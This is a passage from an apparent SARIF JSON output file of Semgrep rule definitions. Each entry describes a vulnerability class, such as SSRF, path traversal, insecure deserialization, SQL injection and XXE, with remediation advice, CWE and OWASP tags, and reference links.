domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","id":"python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","name":"python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","id":"python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","name":"python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","id":"python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","name":"python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`."},"help":{"markdown":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)\n","text":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","id":"javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","name":"javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","properties":{"precision":"very-high","tags":["CWE-451: User Interface (UI) Misrepresentation of Critical Information","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.sql.sql-injection.sql-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.sql.sql-injection.sql-injection","id":"cpp.lang.security.sql.sql-injection.sql-injection","name":"cpp.lang.security.sql.sql-injection.sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.sql.sql-injection.sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP."},"help":{"markdown":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.Request](https://docs.python.org/3/library/urllib.request.html#urllib.request.Request)\n","text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie."},"help":{"markdown":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)\n","text":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","id":"typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","name":"typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go)\n - [https://golang.org/src/net/http/cookie.go](https://golang.org/src/net/http/cookie.go)\n","text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","id":"go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","name":"go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2."},"help":{"markdown":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/launch_configuration#metadata_options](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/launch_configuration#metadata_options)\n - [https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service](https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service)\n","text":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","id":"terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","name":"terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","properties":{"precision":"very-high","tags":["CWE-1390: Weak Authentication","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES."},"help":{"markdown":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated)\n - [https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA](https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA)\n","text":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","id":"java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","name":"java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev()."},"help":{"markdown":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os2-ok2)\n","text":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os2-ok2","id":"python.lang.compatibility.python37.python37-compatibility-os2-ok2","name":"python.lang.compatibility.python37.python37-compatibility-os2-ok2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-os2-ok2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RDS instance accessible from the Internet detected."},"help":{"markdown":"RDS instance accessible from the Internet detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.rds-public-access.rds-public-access)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#publicly_accessible](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#publicly_accessible)\n - [https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html#USER_VPC.Hiding](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html#USER_VPC.Hiding)\n","text":"RDS instance accessible from the Internet detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.rds-public-access.rds-public-access","id":"terraform.lang.security.rds-public-access.rds-public-access","name":"terraform.lang.security.rds-public-access.rds-public-access","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.rds-public-access.rds-public-access"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks."},"help":{"markdown":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","id":"swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","name":"swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","id":"python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","name":"python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized 